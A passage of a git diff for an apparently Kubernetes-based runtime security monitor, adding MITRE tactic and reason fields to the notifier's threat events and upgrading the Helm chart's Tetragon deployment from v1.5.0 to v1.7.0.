{group:\"apps\", version:\"v1\", kind:\"Deployment\"}` (matching the rule the webhook registered for),\nand `requestKind: {group:\"apps\", version:\"v1beta1\", kind:\"Deployment\"}` (indicating the kind of the original API request).\n\nSee documentation for the \"matchPolicy\" field in the webhook configuration type for more details.\n+optional" - }, - "requestResource": { - "$ref": "#/definitions/v1GroupVersionResource", - "description": "RequestResource is the fully-qualified resource of the original API request (for example, v1.pods).\nIf this is specified and differs from the value in \"resource\", an equivalent match and conversion was performed.\n\nFor example, if deployments can be modified via apps/v1 and apps/v1beta1, and a webhook registered a rule of\n`apiGroups:[\"apps\"], apiVersions:[\"v1\"], resources: [\"deployments\"]` and `matchPolicy: Equivalent`,\nan API request to apps/v1beta1 deployments would be converted and sent to the webhook\nwith `resource: {group:\"apps\", version:\"v1\", resource:\"deployments\"}` (matching the resource the webhook registered for),\nand `requestResource: {group:\"apps\", version:\"v1beta1\", resource:\"deployments\"}` (indicating the resource of the original API request).\n\nSee documentation for the \"matchPolicy\" field in the webhook configuration type.\n+optional" - }, - "requestSubResource": { - "type": "string", - "title": "RequestSubResource is the name of the subresource of the original API request, if any (for example, \"status\" or \"scale\")\nIf this is specified and differs from the value in \"subResource\", an equivalent match and conversion was performed.\nSee documentation for the \"matchPolicy\" field in the webhook configuration type.\n+optional" - }, - "name": { - "type": "string", - "title": "Name is the name of the object as presented in the request. On a CREATE operation, the client may omit name and\nrely on the server to generate the name. If that is the case, this field will contain an empty string.\n+optional" - }, - "namespace": { - "type": "string", - "title": "Namespace is the namespace associated with the request (if any).\n+optional" - }, - "operation": { - "type": "string", - "description": "Operation is the operation being performed. This may be different than the operation\nrequested. e.g. a patch can result in either a CREATE or UPDATE Operation." - }, - "userInfo": { - "$ref": "#/definitions/authenticationv1UserInfo", - "title": "UserInfo is information about the requesting user" - }, - "object": { - "$ref": "#/definitions/runtimeRawExtension", - "title": "Object is the object from the incoming request.\n+optional" - }, - "oldObject": { - "$ref": "#/definitions/runtimeRawExtension", - "title": "OldObject is the existing object. Only populated for DELETE and UPDATE requests.\n+optional" - }, - "dryRun": { - "type": "boolean", - "title": "DryRun indicates that modifications will definitely not be persisted for this request.\nDefaults to false.\n+optional" - }, - "options": { - "$ref": "#/definitions/runtimeRawExtension", - "title": "Options is the operation option structure of the operation being performed.\ne.g. `meta.k8s.io/v1.DeleteOptions` or `meta.k8s.io/v1.CreateOptions`. This may be\ndifferent than the options the caller provided. e.g. for a patch request the performed\nOperation might be a CREATE, in which case the Options will a\n`meta.k8s.io/v1.CreateOptions` even though the caller provided `meta.k8s.io/v1.PatchOptions`.\n+optional" - } - }, - "description": "AdmissionRequest describes the admission.Attributes for the admission request." - }, - "v1ExtraValue": { - "type": "object", - "properties": { - "items": { - "type": "array", - "items": { - "type": "string" - } - } - }, - "description": "items, if empty, will result in an empty slice", - "title": "ExtraValue masks the value so protobuf can generate\n+protobuf.nullable=true\n+protobuf.options.(gogoproto.goproto_stringer)=false" - }, - "v1GroupVersionKind": { - "type": "object", - "properties": { - "group": { - "type": "string" - }, - "version": { - "type": "string" - }, - "kind": { - "type": "string" - } - }, - "description": "+protobuf.options.(gogoproto.goproto_stringer)=false", - "title": "GroupVersionKind unambiguously identifies a kind. It doesn't anonymously include GroupVersion\nto avoid automatic coercion. It doesn't use a GroupVersion to avoid custom marshalling" - }, - "v1GroupVersionResource": { - "type": "object", - "properties": { - "group": { - "type": "string" - }, - "version": { - "type": "string" - }, - "resource": { - "type": "string" - } - }, - "description": "+protobuf.options.(gogoproto.goproto_stringer)=false", - "title": "GroupVersionResource unambiguously identifies a resource. It doesn't anonymously include GroupVersion\nto avoid automatic coercion. It doesn't use a GroupVersion to avoid custom marshalling" - } - } -} diff --git a/notifier/api/notifier.pb.go b/notifier/api/notifier.pb.go index 42538289..8b21abf4 100644 --- a/notifier/api/notifier.pb.go +++ b/notifier/api/notifier.pb.go @@ -451,20 +451,74 @@ func (x *RuntimeEvent_Event) GetFunctionReturn() string { return "" } +type RuntimeEvent_Event_MitreTactic struct { + state protoimpl.MessageState `protogen:"open.v1"` + Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` + Techniques []string `protobuf:"bytes,2,rep,name=techniques,proto3" json:"techniques,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *RuntimeEvent_Event_MitreTactic) Reset() { + *x = RuntimeEvent_Event_MitreTactic{} + mi := &file_notifier_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *RuntimeEvent_Event_MitreTactic) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*RuntimeEvent_Event_MitreTactic) ProtoMessage() {} + +func (x *RuntimeEvent_Event_MitreTactic) ProtoReflect() protoreflect.Message { + mi := &file_notifier_proto_msgTypes[4] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use RuntimeEvent_Event_MitreTactic.ProtoReflect.Descriptor instead. +func (*RuntimeEvent_Event_MitreTactic) Descriptor() ([]byte, []int) { + return file_notifier_proto_rawDescGZIP(), []int{2, 0, 0} +} + +func (x *RuntimeEvent_Event_MitreTactic) GetId() string { + if x != nil { + return x.Id + } + return "" +} + +func (x *RuntimeEvent_Event_MitreTactic) GetTechniques() []string { + if x != nil { + return x.Techniques + } + return nil +} + type RuntimeEvent_Event_Threat struct { - state protoimpl.MessageState `protogen:"open.v1"` - DetectorId string `protobuf:"bytes,1,opt,name=detector_id,json=detectorId,proto3" json:"detector_id,omitempty"` - DetectorName string `protobuf:"bytes,2,opt,name=detector_name,json=detectorName,proto3" json:"detector_name,omitempty"` - DetectorVersion uint32 `protobuf:"varint,3,opt,name=detector_version,json=detectorVersion,proto3" json:"detector_version,omitempty"` - DetectorDescription string `protobuf:"bytes,4,opt,name=detector_description,json=detectorDescription,proto3" json:"detector_description,omitempty"` - Severity string `protobuf:"bytes,5,opt,name=severity,proto3" json:"severity,omitempty"` + state protoimpl.MessageState `protogen:"open.v1"` + DetectorId string `protobuf:"bytes,1,opt,name=detector_id,json=detectorId,proto3" json:"detector_id,omitempty"` + DetectorName string `protobuf:"bytes,2,opt,name=detector_name,json=detectorName,proto3" json:"detector_name,omitempty"` + DetectorVersion uint32 `protobuf:"varint,3,opt,name=detector_version,json=detectorVersion,proto3" json:"detector_version,omitempty"` + DetectorDescription string `protobuf:"bytes,4,opt,name=detector_description,json=detectorDescription,proto3" json:"detector_description,omitempty"` + Severity string `protobuf:"bytes,5,opt,name=severity,proto3" json:"severity,omitempty"` + Reason string `protobuf:"bytes,6,opt,name=reason,proto3" json:"reason,omitempty"` + TacticsCovered []*RuntimeEvent_Event_MitreTactic `protobuf:"bytes,7,rep,name=tactics_covered,json=tacticsCovered,proto3" json:"tactics_covered,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *RuntimeEvent_Event_Threat) Reset() { *x = RuntimeEvent_Event_Threat{} - mi := &file_notifier_proto_msgTypes[4] + mi := &file_notifier_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -476,7 +530,7 @@ func (x *RuntimeEvent_Event_Threat) String() string { func (*RuntimeEvent_Event_Threat) ProtoMessage() {} func (x *RuntimeEvent_Event_Threat) ProtoReflect() protoreflect.Message { - mi := &file_notifier_proto_msgTypes[4] + mi := &file_notifier_proto_msgTypes[5] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -489,7 +543,7 @@ func (x *RuntimeEvent_Event_Threat) ProtoReflect() protoreflect.Message { // Deprecated: Use RuntimeEvent_Event_Threat.ProtoReflect.Descriptor instead. func (*RuntimeEvent_Event_Threat) Descriptor() ([]byte, []int) { - return file_notifier_proto_rawDescGZIP(), []int{2, 0, 0} + return file_notifier_proto_rawDescGZIP(), []int{2, 0, 1} } func (x *RuntimeEvent_Event_Threat) GetDetectorId() string { @@ -527,6 +581,20 @@ func (x *RuntimeEvent_Event_Threat) GetSeverity() string { return "" } +func (x *RuntimeEvent_Event_Threat) GetReason() string { + if x != nil { + return x.Reason + } + return "" +} + +func (x *RuntimeEvent_Event_Threat) GetTacticsCovered() []*RuntimeEvent_Event_MitreTactic { + if x != nil { + return x.TacticsCovered + } + return nil +} + var File_notifier_proto protoreflect.FileDescriptor const file_notifier_proto_rawDesc = "" + @@ -537,14 +605,15 @@ const file_notifier_proto_rawDesc = "" + "\rruntime_event\x18\x05 \x01(\v2\x16.notifier.RuntimeEventH\x00R\fruntimeEventB\a\n" + "\x05event\"D\n" + "\tNotifyReq\x127\n" + - "\rnotifications\x18\x01 \x03(\v2\x11.notifier.MessageR\rnotifications\"\xbf\v\n" + + "\rnotifications\x18\x01 \x03(\v2\x11.notifier.MessageR\rnotifications\"\xe9\f\n" + "\fRuntimeEvent\x122\n" + "\x05event\x18\x01 \x01(\v2\x1c.notifier.RuntimeEvent.EventR\x05event\x12\x1a\n" + "\bseverity\x18\x02 \x01(\tR\bseverity\x12?\n" + "\rregistered_at\x18\x03 \x01(\v2\x1a.google.protobuf.TimestampR\fregisteredAt\x12\x1b\n" + "\trule_name\x18\x04 \x01(\tR\bruleName\x12\x14\n" + "\x05block\x18\x05 \x01(\bR\x05block\x12\x19\n" + - "\bevent_id\x18\x06 \x01(\tR\aeventId\x1a\xcf\t\n" + + "\bevent_id\x18\x06 \x01(\tR\aeventId\x1a\xf9\n" + + "\n" + "\x05Event\x12=\n" + "\athreats\x18\x01 \x03(\v2#.notifier.RuntimeEvent.Event.ThreatR\athreats\x12\x1d\n" + "\n" + @@ -574,14 +643,21 @@ const file_notifier_proto_rawDesc = "" + "\tnode_name\x18\x14 \x01(\tR\bnodeName\x12#\n" + "\rfunction_name\x18\x15 \x01(\tR\ffunctionName\x12#\n" + "\rfunction_args\x18\x16 \x01(\tR\ffunctionArgs\x12'\n" + - "\x0ffunction_return\x18\x17 \x01(\tR\x0efunctionReturn\x1a\xc8\x01\n" + + "\x0ffunction_return\x18\x17 \x01(\tR\x0efunctionReturn\x1a=\n" + + "\vMitreTactic\x12\x0e\n" + + "\x02id\x18\x01 \x01(\tR\x02id\x12\x1e\n" + + "\n" + + "techniques\x18\x02 \x03(\tR\n" + + "techniques\x1a\xb3\x02\n" + "\x06Threat\x12\x1f\n" + "\vdetector_id\x18\x01 \x01(\tR\n" + "detectorId\x12#\n" + "\rdetector_name\x18\x02 \x01(\tR\fdetectorName\x12)\n" + "\x10detector_version\x18\x03 \x01(\rR\x0fdetectorVersion\x121\n" + "\x14detector_description\x18\x04 \x01(\tR\x13detectorDescription\x12\x1a\n" + - "\bseverity\x18\x05 \x01(\tR\bseverityB\x0e\n" + + "\bseverity\x18\x05 \x01(\tR\bseverity\x12\x16\n" + + "\x06reason\x18\x06 \x01(\tR\x06reason\x12Q\n" + + "\x0ftactics_covered\x18\a \x03(\v2(.notifier.RuntimeEvent.Event.MitreTacticR\x0etacticsCoveredB\x0e\n" + "\f_process_pidB\x0e\n" + "\f_process_uidB\x11\n" + "\x0f_process_setuidB\x11\n" + @@ -604,29 +680,31 @@ func file_notifier_proto_rawDescGZIP() []byte { return file_notifier_proto_rawDescData } -var file_notifier_proto_msgTypes = make([]protoimpl.MessageInfo, 5) +var file_notifier_proto_msgTypes = make([]protoimpl.MessageInfo, 6) var file_notifier_proto_goTypes = []any{ - (*Message)(nil), // 0: notifier.Message - (*NotifyReq)(nil), // 1: notifier.NotifyReq - (*RuntimeEvent)(nil), // 2: notifier.RuntimeEvent - (*RuntimeEvent_Event)(nil), // 3: notifier.RuntimeEvent.Event - (*RuntimeEvent_Event_Threat)(nil), // 4: notifier.RuntimeEvent.Event.Threat - (*timestamppb.Timestamp)(nil), // 5: google.protobuf.Timestamp - (*emptypb.Empty)(nil), // 6: google.protobuf.Empty + (*Message)(nil), // 0: notifier.Message + (*NotifyReq)(nil), // 1: notifier.NotifyReq + (*RuntimeEvent)(nil), // 2: notifier.RuntimeEvent + (*RuntimeEvent_Event)(nil), // 3: notifier.RuntimeEvent.Event + (*RuntimeEvent_Event_MitreTactic)(nil), // 4: notifier.RuntimeEvent.Event.MitreTactic + (*RuntimeEvent_Event_Threat)(nil), // 5: notifier.RuntimeEvent.Event.Threat + (*timestamppb.Timestamp)(nil), // 6: google.protobuf.Timestamp + (*emptypb.Empty)(nil), // 7: google.protobuf.Empty } var file_notifier_proto_depIdxs = []int32{ 2, // 0: notifier.Message.runtime_event:type_name -> notifier.RuntimeEvent 0, // 1: notifier.NotifyReq.notifications:type_name -> notifier.Message 3, // 2: notifier.RuntimeEvent.event:type_name -> notifier.RuntimeEvent.Event - 5, // 3: notifier.RuntimeEvent.registered_at:type_name -> google.protobuf.Timestamp - 4, // 4: notifier.RuntimeEvent.Event.threats:type_name -> notifier.RuntimeEvent.Event.Threat - 1, // 5: notifier.Notifier.Notify:input_type -> notifier.NotifyReq - 6, // 6: notifier.Notifier.Notify:output_type -> google.protobuf.Empty - 6, // [6:7] is the sub-list for method output_type - 5, // [5:6] is the sub-list for method input_type - 5, // [5:5] is the sub-list for extension type_name - 5, // [5:5] is the sub-list for extension extendee - 0, // [0:5] is the sub-list for field type_name + 6, // 3: notifier.RuntimeEvent.registered_at:type_name -> google.protobuf.Timestamp + 5, // 4: notifier.RuntimeEvent.Event.threats:type_name -> notifier.RuntimeEvent.Event.Threat + 4, // 5: notifier.RuntimeEvent.Event.Threat.tactics_covered:type_name -> notifier.RuntimeEvent.Event.MitreTactic + 1, // 6: notifier.Notifier.Notify:input_type -> notifier.NotifyReq + 7, // 7: notifier.Notifier.Notify:output_type -> google.protobuf.Empty + 7, // [7:8] is the sub-list for method output_type + 6, // [6:7] is the sub-list for method input_type + 6, // [6:6] is the sub-list for extension type_name + 6, // [6:6] is the sub-list for extension extendee + 0, // [0:6] is the sub-list for field type_name } func init() { file_notifier_proto_init() } @@ -644,7 +722,7 @@ func file_notifier_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: unsafe.Slice(unsafe.StringData(file_notifier_proto_rawDesc), len(file_notifier_proto_rawDesc)), NumEnums: 0, - NumMessages: 5, + NumMessages: 6, NumExtensions: 0, NumServices: 1, }, diff --git a/notifier/api/notifier.proto b/notifier/api/notifier.proto index b7217302..55777277 100644 --- a/notifier/api/notifier.proto +++ b/notifier/api/notifier.proto @@ -39,12 +39,19 @@ message NotifyReq { message RuntimeEvent { message Event { + message MitreTactic { + string id = 1; + repeated string techniques = 2; + } + message Threat { string detector_id = 1; string detector_name = 2; uint32 detector_version = 3; string detector_description = 4; string severity = 5; + string reason = 6; + repeated MitreTactic tactics_covered = 7; } repeated Threat threats = 1; diff --git a/notifier/api/openapiv2/notifier.swagger.json b/notifier/api/openapiv2/notifier.swagger.json index c18f2489..c514f24a 100644 --- a/notifier/api/openapiv2/notifier.swagger.json +++ b/notifier/api/openapiv2/notifier.swagger.json @@ -52,6 +52,20 @@ } }, "definitions": { + "EventMitreTactic": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "techniques": { + "type": "array", + "items": { + "type": "string" + } + } + } + }, "EventThreat": { "type": "object", "properties": { @@ -70,6 +84,16 @@ }, "severity": { "type": "string" + }, + "reason": { + "type": "string" + }, + "tacticsCovered": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/EventMitreTactic" + } } } }, diff --git a/notifier/templates/text/runtime_event.tmpl b/notifier/templates/text/runtime_event.tmpl index 119bf40f..30c7893a 100644 --- a/notifier/templates/text/runtime_event.tmpl +++ b/notifier/templates/text/runtime_event.tmpl @@ -8,6 +8,25 @@ "detector_name": "{{$t.GetDetectorName}}", "detector_version": "{{$t.GetDetectorVersion}}", "detector_description": {{$t.GetDetectorDescription | printf "%q"}}, + {{if $t.GetReason}} + "reason": {{$t.GetReason | printf "%q"}}, + {{end}} + {{if $tactics := $t.GetTacticsCovered}} + {{if gt (len $tactics) 0}} + "tactics_covered": [ + {{range $i, $tactic := $tactics}} + { + "id": {{$tactic.GetId | printf "%q"}}, + "techniques": [ + {{range $j, $tech := $tactic.GetTechniques}} + {{$tech | printf "%q"}}{{if not (eq $j (sub (len $tactic.GetTechniques) 1))}},{{end}} + {{end}} + ] + }{{if not (eq $i (sub (len $tactics) 1))}},{{end}} + {{end}} + ], + {{end}} + {{end}} "severity": "{{$t.GetSeverity}}" }{{if not (eq $i (sub (len $threats) 1))}},{{end}} {{end}} diff --git a/runtime-monitor/.helm/templates/_container_tetragon.tpl b/runtime-monitor/.helm/templates/_container_tetragon.tpl index 718c630f..8eb84894 100644 --- a/runtime-monitor/.helm/templates/_container_tetragon.tpl +++ b/runtime-monitor/.helm/templates/_container_tetragon.tpl @@ -1,7 +1,7 @@ {{- define "container.tetragon" -}} - name: {{ include "container.tetragon.name" . }} securityContext: - {{- toYaml .Values.tetragon.securityContext | nindent 4 }} + {{- toYaml .Values.tetragon.containerSecurityContext | nindent 4 }} image: {{ include "common.cs.image" (dict "context" . "image" .Values.tetragon.image) }} imagePullPolicy: {{ .Values.image.pullPolicy }} terminationMessagePolicy: FallbackToLogsOnError @@ -34,6 +34,8 @@ name: bpf-maps - mountPath: "/var/run/cilium" name: cilium-run + - mountPath: "/var/run/tetragon" + name: tetragon-run - mountPath: {{ .Values.exportDirectory }} name: export-logs - mountPath: "/procRoot" diff --git a/runtime-monitor/.helm/templates/_extensions.tpl b/runtime-monitor/.helm/templates/_extensions.tpl index 62a734a9..881d0362 100644 --- a/runtime-monitor/.helm/templates/_extensions.tpl +++ b/runtime-monitor/.helm/templates/_extensions.tpl @@ -6,4 +6,12 @@ {{- define "initcontainers.extra" -}}{{- end }} +{{- define "containers.extra" -}}{{- end }} + {{- define "clusterrole.extra" -}}{{- end }} + +{{- define "role.extra" -}}{{- end }} + +{{- define "operatorconfigmap.extra" -}}{{- end }} + +{{- define "operatorclusterrole.extra" -}}{{- end }} diff --git a/runtime-monitor/.helm/templates/_helpers.tpl b/runtime-monitor/.helm/templates/_helpers.tpl index 912c8028..30eec409 100644 --- a/runtime-monitor/.helm/templates/_helpers.tpl +++ b/runtime-monitor/.helm/templates/_helpers.tpl @@ -1,17 +1,67 @@ {{/* -Create chart name and version as used by the chart label. +Resources names */}} -{{- define "tetragon.chart" -}} -{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} +{{- define "tetragon.name" -}} +{{- default .Release.Name .Values.tetragon.nameOverride | trunc 63 | trimSuffix "-" }} {{- end }} +{{- define "tetragon.configMapName" -}} +{{- printf "%s-config" (include "tetragon.name" .) | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{- define "tetragon.clusterRole" -}} +{{- include "tetragon.name" . }} +{{- end }} + +{{- define "tetragon.role" -}} +{{- include "tetragon.name" . }} +{{- end }} + +{{- define "tetragon-operator.name" -}} +{{- default (printf "%s-operator" .Release.Name) .Values.tetragonOperator.nameOverride | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{- define "tetragon-operator.clusterRole" -}} +{{- include "tetragon-operator.name" . }} +{{- end }} + +{{- define "tetragon-operator.roleBindingName" -}} +{{- printf "%s-rolebinding" (include "tetragon-operator.name" .) | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{- define "tetragon-operator.configMapName" -}} +{{- printf "%s-config" (include "tetragon-operator.name" .) | trunc 63 | trimSuffix "-" }} +{{- end }} + +{{- define "tetragon-rthooks.name" -}} +{{- default (printf "%s-rthooks" .Release.Name) .Values.rthooks.nameOverride | trunc 63 | trimSuffix "-" }} +{{- end }} + + {{/* Common labels */}} +{{- define "commonLabels" -}} +helm.sh/chart: {{ printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} +app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} +app.kubernetes.io/managed-by: {{ .Release.Service }} +app.kubernetes.io/part-of: {{ .Chart.Name }} +{{- end }} + {{- define "tetragon.labels" -}} -helm.sh/chart: {{ include "tetragon.chart" . }} {{ include "tetragon.selectorLabels" . }} -app.kubernetes.io/managed-by: {{ .Release.Service }} +{{ include "commonLabels" . }} +app.kubernetes.io/component: agent +{{- end }} +{{- define "tetragon-operator.labels" -}} +{{ include "tetragon-operator.selectorLabels" . }} +{{ include "commonLabels" . }} +app.kubernetes.io/component: operator +{{- end }} +{{- define "tetragon-rthooks.labels" -}} +{{ include "tetragon-rthooks.selectorLabels" . }} +{{ include "commonLabels" . }} +app.kubernetes.io/component: rthooks {{- end }} {{/* @@ -21,11 +71,42 @@ Selector labels app.kubernetes.io/name: {{ .Chart.Name }} app.kubernetes.io/instance: {{ .Release.Name }} {{- end }} +{{- define "tetragon-operator.selectorLabels" -}} +app.kubernetes.io/name: "tetragon-operator" +app.kubernetes.io/instance: {{ .Release.Name }} +{{- end }} +{{- define "tetragon-rthooks.selectorLabels" -}} +app.kubernetes.io/name: "tetragon-rthooks" +app.kubernetes.io/instance: {{ .Release.Name }} +{{- end }} + +{{- define "container.export.stdout.name" -}} +{{- print "export-stdout" -}} +{{- end }} {{- define "container.tetragon.name" -}} {{- print "tetragon" -}} {{- end }} +{{/* +ServiceAccounts +*/}} +{{- define "tetragon.serviceAccount" -}} +{{- if .Values.serviceAccount.name -}} +{{- printf "%s" .Values.serviceAccount.name -}} +{{- else -}} +{{- include "tetragon.name" . -}} +{{- end -}} +{{- end }} + +{{- define "tetragon-operator.serviceAccount" -}} +{{- if .Values.tetragonOperator.serviceAccount.name -}} +{{- printf "%s" .Values.tetragonOperator.serviceAccount.name -}} +{{- else -}} +{{- printf "%s-service-account" (include "tetragon-operator.name" .) -}} +{{- end -}} +{{- end }} + {{- define "container.tetragonOCIHookSetup.installPath" -}} {{- print "/hostInstall" -}} {{- end }} @@ -33,3 +114,29 @@ app.kubernetes.io/instance: {{ .Release.Name }} {{- define "container.tetragonOCIHookSetup.hooksPath" -}} {{- print "/hostHooks" -}} {{- end }} + +{{/* +Runtime-hooks +*/}} + +{{- define "rthooksInterface" -}} +{{ $iface := .Values.rthooks.interface }} +{{- if (eq $iface "oci-hooks") -}} + oci-hooks +{{- else if (eq $iface "nri-hook") -}} + nri-hook +{{- else -}} +{{- end -}} +{{- end }} + +{{/* +rthooks affinity: when rthooks.affinity is explicitly set (including {}), +use it as-is. Otherwise fall back to the top-level .Values.affinity. +*/}} +{{- define "tetragon-rthooks.affinity" -}} +{{- if hasKey .Values.rthooks "affinity" -}} +{{- toYaml .Values.rthooks.affinity -}} +{{- else -}} +{{- toYaml .Values.affinity -}} +{{- end -}} +{{- end }} diff --git a/runtime-monitor/.helm/templates/daemonset.yaml b/runtime-monitor/.helm/templates/daemonset.yaml index b4875765..6aa06d09 100644 --- a/runtime-monitor/.helm/templates/daemonset.yaml +++ b/runtime-monitor/.helm/templates/daemonset.yaml @@ -24,15 +24,18 @@ spec: {{- toYaml . | nindent 8 }} {{- end }} serviceAccountName: {{ include "common.serviceAccountName" . }} - {{- if (.Values.podSecurityContext).enabled }} + {{- with .Values.podSecurityContext }} securityContext: - {{- omit .Values.podSecurityContext "enabled" | toYaml | nindent 8 }} + {{- toYaml . | nindent 8 }} {{- end }} initContainers: {{- include "initcontainers.extra" . | nindent 6 }} containers: {{- include "common.cs.container.app" . | nindent 8 -}} {{- include "container.tetragon" . | nindent 8 -}} + {{- if eq (include "common.cs.logger.enabled" .) "true" -}} + {{- include "common.cs.container.logger" . | nindent 8 -}} + {{- end -}} {{- with .Values.nodeSelector }} nodeSelector: {{- toYaml . | nindent 8 }} @@ -53,6 +56,10 @@ spec: hostPath: path: /var/run/cilium type: DirectoryOrCreate + - name: tetragon-run + hostPath: + path: /var/run/tetragon + type: DirectoryOrCreate - name: export-logs hostPath: path: {{ .Values.exportDirectory }} diff --git a/runtime-monitor/.helm/templates/role.yaml b/runtime-monitor/.helm/templates/role.yaml new file mode 100644 index 00000000..991238ca --- /dev/null +++ b/runtime-monitor/.helm/templates/role.yaml @@ -0,0 +1,15 @@ +{{- if .Values.serviceAccount.create }} +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: {{ include "common.fullname" . }} + namespace: {{ .Release.Namespace }} + labels: + {{- include "common.labels" . | nindent 4 }} + {{- with (include "common.annotations" .) }} + annotations: + {{- . | nindent 4 }} + {{- end }} +rules: + {{- include "role.extra" . | nindent 2 }} +{{- end }} diff --git a/runtime-monitor/.helm/templates/rolebinding.yaml b/runtime-monitor/.helm/templates/rolebinding.yaml new file mode 100644 index 00000000..81b85bd5 --- /dev/null +++ b/runtime-monitor/.helm/templates/rolebinding.yaml @@ -0,0 +1,21 @@ +{{- if and .Values.serviceAccount.create }} +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: {{ include "common.fullname" . }} + namespace: {{ .Release.Namespace }} + labels: + {{- include "common.labels" . | nindent 4 }} + {{- with (include "common.annotations" .) }} + annotations: + {{- . | nindent 4 }} + {{- end }} +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: {{ include "common.fullname" . }} +subjects: +- kind: ServiceAccount + namespace: {{ .Release.Namespace }} + name: {{ include "common.serviceAccountName" . }} +{{- end }} diff --git a/runtime-monitor/.helm/templates/tetragon_configmap.yaml b/runtime-monitor/.helm/templates/tetragon_configmap.yaml index d6289a33..33fe1a33 100644 --- a/runtime-monitor/.helm/templates/tetragon_configmap.yaml +++ b/runtime-monitor/.helm/templates/tetragon_configmap.yaml @@ -17,7 +17,7 @@ data: debug: {{ .Values.tetragon.debug | quote }} enable-process-cred: {{ .Values.tetragon.enableProcessCred | quote }} enable-process-ns: {{ .Values.tetragon.enableProcessNs | quote }} - enable-ancestors: {{ .Values.tetragon.processAncestors.enabled }} + enable-ancestors: {{ .Values.tetragon.processAncestors.enabled | quote }} process-cache-size: {{ .Values.tetragon.processCacheSize | quote }} {{- if .Values.tetragon.exportFilename }} export-filename: {{ .Values.exportDirectory}}/{{ .Values.tetragon.exportFilename }} @@ -91,3 +91,4 @@ data: {{- end }} enable-cgidmap: {{ .Values.tetragon.cgidmap.enabled | quote }} enable-pod-annotations: {{ .Values.tetragon.podAnnotations.enabled | default "false" | quote }} + use-perf-ring-buffer: {{ .Values.tetragon.usePerfRingBuffer | default "false" | quote }} diff --git a/runtime-monitor/.helm/values.yaml b/runtime-monitor/.helm/values.yaml index 0e584aa5..d8103d19 100644 --- a/runtime-monitor/.helm/values.yaml +++ b/runtime-monitor/.helm/values.yaml @@ -3,7 +3,6 @@ global: keys: token: random image: - registry: ghcr.io/runtime-radar repository: runtime-monitor pullPolicy: IfNotPresent # Overrides the image tag whose default is the chart appVersion. @@ -71,7 +70,7 @@ startupProbe: successThreshold: 1 failureThreshold: 3 # tetragon values are copied from tetragon helm chart as-is -# https://github.com/cilium/tetragon/blob/v1.5.0/install/kubernetes/tetragon/values.yaml +# https://github.com/cilium/tetragon/blob/v1.7.0/install/kubernetes/tetragon/values.yaml # Tetragon agent settings priorityClassName: "" imagePullPolicy: IfNotPresent @@ -112,7 +111,8 @@ tetragon: image: override: ~ repository: quay.io/cilium/tetragon - tag: v1.5.0 + tag: v1.7.0 + # Do not change resources: limits: cpu: 1 @@ -130,7 +130,7 @@ tetragon: podAnnotations: enabled: false extraVolumeMounts: [] - securityContext: + containerSecurityContext: privileged: true # -- Overrides the default livenessProbe for the tetragon container. livenessProbe: {} @@ -230,7 +230,7 @@ tetragon: enableProcessNs: false processAncestors: # -- Comma-separated list of process event types to enable ancestors for. - # Supported event types are: base, kprobe, tracepoint, uprobe, lsm. Unknown event types will be ignored. + # Supported event types are: base, kprobe, tracepoint, loader, uprobe, lsm, usdt. Unknown event types will be ignored. # Type "base" is required by all other supported event types for correct reference counting. # Set it to "" to disable ancestors completely. enabled: "" @@ -263,7 +263,8 @@ tetragon: grpc: # -- Whether to enable exposing Tetragon gRPC. enabled: true - # -- The address at which to expose gRPC. Examples: localhost:54321, unix:///var/run/cilum/tetragon/tetragon.sock + # -- The address at which to expose gRPC. Examples: localhost:54321, unix:///var/run/tetragon/tetragon.sock + # Do not change address: "localhost:54321" gops: # -- Whether to enable exposing gops server. @@ -289,6 +290,7 @@ tetragon: enableMsgHandlingLatency: false healthGrpc: # -- Whether to enable health gRPC server. + # Do not change enabled: false # -- The port at which to expose health gRPC. port: 6789 @@ -316,9 +318,11 @@ tetragon: # pod association. This feature depends on cri being enabled. cgidmap: enabled: false + usePerfRingBuffer: false # Tetragon Operator settings tetragonOperator: # -- Enables the Tetragon Operator. + # Do not change enabled: false # -- The name of the Tetragon Operator deployment. nameOverride: "" @@ -354,11 +358,16 @@ tetragonOperator: # -- securityContext for the Tetragon Operator Deployment Pods. podSecurityContext: {} # -- securityContext for the Tetragon Operator Deployment Pod container. - securityContext: + containerSecurityContext: + runAsUser: 65532 + runAsGroup: 65532 + runAsNonRoot: true allowPrivilegeEscalation: false capabilities: drop: - "ALL" + # -- securityContext for the Tetragon Operator Deployment Pod container. (DEPRECATED: Use containerSecurityContext instead. TODO: Remove in v1.6.0) + securityContext: {} # -- resources for the Tetragon Operator Deployment Pod container. resources: limits: @@ -389,7 +398,7 @@ tetragonOperator: image: override: ~ repository: quay.io/cilium/tetragon-operator - tag: v1.5.0 + tag: v1.7.0 pullPolicy: IfNotPresent # -- Extra volumes for the Tetragon Operator Deployment. extraVolumes: [] @@ -401,6 +410,7 @@ tetragonOperator: enabled: false tracingPolicy: # -- Enables the TracingPolicy and TracingPolicyNamespaced CRD creation. + # Do not 